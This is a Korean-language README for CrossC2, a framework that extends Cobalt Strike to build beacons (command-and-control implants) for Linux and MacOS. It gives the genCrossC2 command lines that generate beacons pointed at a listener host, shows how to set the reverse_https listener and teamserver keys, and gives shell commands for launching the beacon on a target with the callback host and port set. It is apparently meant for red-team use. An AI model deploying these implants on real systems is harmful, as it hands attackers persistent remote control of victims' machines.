CrossC2 프레임워크

README | 중국어 문서 | README_FULL | 중국어 전체 문서

CobaltStrike 지원

다른 플랫폼(Linux/MacOS/...)에 대한 CobaltStrike의 보안 평가를 지원하며, Unix 사후 침투 모듈의 개발 지원을 포함합니다.

사용법

1. 다운로드

CrossC2.cna, genCrossC2, CrossC2Kit을 다운로드하고, CrossC2.cna 구성을 수정합니다.

2. 리스너 생성 및 키 복사

• windows/beacon_https/reverse_https 리스너 생성
• teamserver 디렉토리에 있는 .cobaltstrike.beacon_keys를 로컬로 복사

3. 기능 확장

• 메모리 로딩 및 기타 기능을 포함하는 CrossC2Kit_Loader.cna를 추가합니다.
• cs4.x 버전은 파일 관리, 프로세스 목록 기능이 누락되어 있으므로, 이 Loader를 사용하여 다시 시작해야 합니다.

4. 비콘 생성

기본적으로 cli 또는 cna에서 제공하는 GUI 기능을 사용하여 비콘을 생성합니다.

genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>

예:

1. read BEACON_KEY from current path and generate BEACON of default C2Profile traffic protocol
    genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
     
2. specify the BEACON of the custom protocol dynamic library
    genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out

3. specify the C2Profile that needs to be automatically parsed
    genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

더 고급 구성은 문서에서 확인할 수 있습니다: 📄참고

5. 비콘 실행

• 대상에서 CrossC2 플러그인이 생성한 원클릭 온라인 스크립트를 실행합니다.
• 비콘을 대상 머신에 업로드한 후 권한 있는 작업을 수행합니다.
• 비콘의 작업 디렉토리를 설정하고 실행: export CCPATH=/opt/ && /tmp/c2
• 비콘의 프로토콜 라이브러리를 임시로 지정하고 실행: /tmp/c2 /tmp/c2-rebind.so
• 비콘의 C2 구성을 임시로 설정: export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
• 비콘의 온라인 상태를 보기 위해 DEBUG 설정: export CCDEBUG=1 && /tmp/c2

CrossC2Kit

CrossC2Kit: https://github.com/CrossC2/CrossC2Kit

CrossC2Kit는 CrossC2에서 파생된 Unix 플랫폼 중심의 침투 확장입니다. Aggressor Script 오픈 소스 스크립트 엔진을 사용합니다. 이를 사용하여 레드 팀의 운영 프로세스를 시뮬레이션하는 자동화를 생성하고 CobaltStrike 클라이언트를 확장할 수 있습니다.

CrossC2Kit는 CobaltStrike의 원래 기능을 상속받았으므로 개발 및 작성 문법은 여전히 공식 문서를 참조합니다: https://trial.cobaltstrike.com/aggressor-script/index.html

하지만 Unix 플랫폼의 beacon을 제어하기 위해 CrossC2 위에 몇 가지 API 확장이 있습니다.

API: 📄참고

데모:

참고

Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.

할 일

1. http-proxy (인증) 및 socks 프록시 역연결 지원
2. 노드 비콘? (단일 노드 유형, teamserver에 의존하지 않고 다른 비콘을 호스팅 가능)
3. Linux 및 MacOS 측 so/dylib의 리버스 셸 지원 및 그 파생 프로세스 인젝션 기능

감사

CrossC2를 위해 디자인된 로고에 대해 @Emma에게 감사드립니다. 이 로고는 Armitage 및 CobaltStrike 시리즈 스타일로 디자인되었습니다.